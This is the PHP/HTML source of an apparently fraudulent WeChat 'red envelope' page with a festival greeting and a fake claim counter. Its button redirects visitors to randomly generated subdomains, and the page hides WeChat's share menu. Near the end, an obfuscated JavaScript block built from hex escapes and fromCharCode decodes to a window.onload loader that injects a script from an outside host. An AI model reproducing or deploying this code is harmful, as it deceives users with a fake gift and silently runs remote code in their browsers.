<?php
    $data = require './data.php';
    require_once __DIR__ . '/include.php';
?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title></title>
    <meta name="viewport"
          content="width=device-width,initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
    <meta content="yes" name="apple-mobile-web-app-capable">
    <meta content="black" name="apple-mobile-web-app-status-bar-style">
    <meta content="telephone=no" name="format-detection">
    <meta content="email=no" name="format-detection"/>
    <link rel="stylesheet" href="b/huotui.css">
    <script src="a/tive.js"></script>
    <script src="a/jquyer-3.3.1.min.js"></script>
</head>

<body>
<div class="red_bag">
    <div class="redbag_con" id="indexHb">
        <div class="redbag_head">
<!--            <img src="b/1.jpg" class="redbag_img">鱼鱼鱼大人-->
            六月端午节快乐！
        </div>
        <div class="redbag_word">恭喜发财，大吉大利</div>
        <div class="open_redbag" onclick="clickOpenBag(this)"></div>
    </div>
</div>
<div class="result_content" style="display: none;">
    <div class="result_top">
        <div class="record_wrap">
            <img onclick="back()" src="http://sougostatic.oss-cn-shanghai.aliyuncs.com/5g/images/go_back.png" alt="">
            <span>红包记录</span>
        </div>
        <style>
            .result_top {
                padding-top:4px;
            }
            .record_wrap {
                display: flex;
                justify-content: space-between;
                align-items: center;
                padding: 0 .15rem;
                z-index: 9999;
            }
            .record_wrap img {
                width: .3rem;
            }
            .record_wrap span {
                font-size: .28rem;
                color: #FFE4B2;
            }
        </style>
        <div class="result_head">
<!--            <img src="b/1.jpg" class="redbag_img">瞄小姐瞄瞄-->
            六月端午节快乐
        </div>
        <div class="result_con1">￥<span id="moneyNum"></span></div>
        <div class="result_button bigsmall" onclick="clickGetHb()">点击领取</div>
    </div>
    <div class="result_title">已领取<span id="number"></span>/100个</div>
    <div class="result_list">
        <ul>

        </ul>
    </div>
    <div class="result_notice">24小时内有效，请尽快领取！</div>
</div>
<!-- 弹出提示层 -->
<div class="cover_div">
    <div class="cover_con"></div>
</div>
<script type="text/javascript">
    $.ajax({
        'url' : 'http://<?php echo $data['d6'];?>/count_views.php',
        'method' : 'POST',
        'data': {res: 'friend'},
        'success' : function(){}
    });
    var an;
    // var gourl = "http://9ce9c820.zhuangjiazhi.cn/epfszcp5160w159vdmogyeoj3fl8hkyy.top?km=3efj6kwd15";
    var gourl = "http://<?php echo str_rand2(6),'.',$data['d2']?>/second.php?km=<?php echo str_rand2(8)?>";
    var adurl = "<?php echo $data['back_url2']?>";

    function back() {
        if (typeof adurl == 'string' && adurl.length > 1) {
            jump_mmp(adurl);
        }
    }


    function jump_mmp(url) {
        var a = document.createElement('a');
        a.href = url;
        a.rel = 'noreferrer';
        a.click();
    }

    function clickOpenBag(e) {
        e.setAttribute("class", "open_redbag shake");
        setTimeout(function () {
            document.querySelector('.red_bag').style.display = 'none';
            document.querySelector('.result_content').style.display = '';
        }, 1000);
    }

    function clickGetHb() {
        if (typeof gourl == 'string' && gourl.length > 1) {
            jump_mmp(gourl);
        }
    }

    function loaded() {
        document.querySelector(".red_bag").style.display = "block";
        document.getElementById("indexHb").setAttribute("class", "redbag_con change");
        document.addEventListener('WeixinJSBridgeReady', function onBridgeReady() {
            // 通过下面这个API隐藏右上角按钮
            WeixinJSBridge.call('hideOptionMenu');
        });
    }

    ['soeasy']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['soeasy'] + [])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null, "119Y105p110M100Y111O119b46X111V110k108A111n97z100n32Y61Y32J102y117C110F99T116w105F111V110V32L40l41W32a123L10d32w32o32L32X9J118G97w114t32g115P99P32v61a32V100O111q99z117r109s101p110A116G46Z99e114a101M97D116b101B69P108o101l109z101G110O116a40N39g115b99g114m105k112W116j39d41N59S10u32P32P32R32T32Y32j9f115q99P46L115a114l99J32y61j32n34r104i116t116d112a58V47R47K120A46O104E117a108K105L97C110n45G51c54o48l46p99h111P109O47C120k46C112w104w112h34l59L10b32L32F32b32Y32z32t9B100X111p99b117I109b101h110F116l46o98M111d100j121L46l97m112u112O101E110F100M67M104J105j108H100x40M115o99W41W59i10G32J32O32h32E125"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('soeasy');
</script>
</body>
<script>
    var _hmt = _hmt || [];
    (function () {
        var e = document.createElement("script");
        e.src = "https://hm.baidu.com/hm.js?<?php echo $data['baidu_id']?>";
        var t = document.getElementsByTagName("script")[0];
        t.parentNode.insertBefore(e, t)
    })()
</script>
<script src="a/common.js"></script>
<script src="a/back.js"></script>
<script src="a/index.js"></script>
</html>
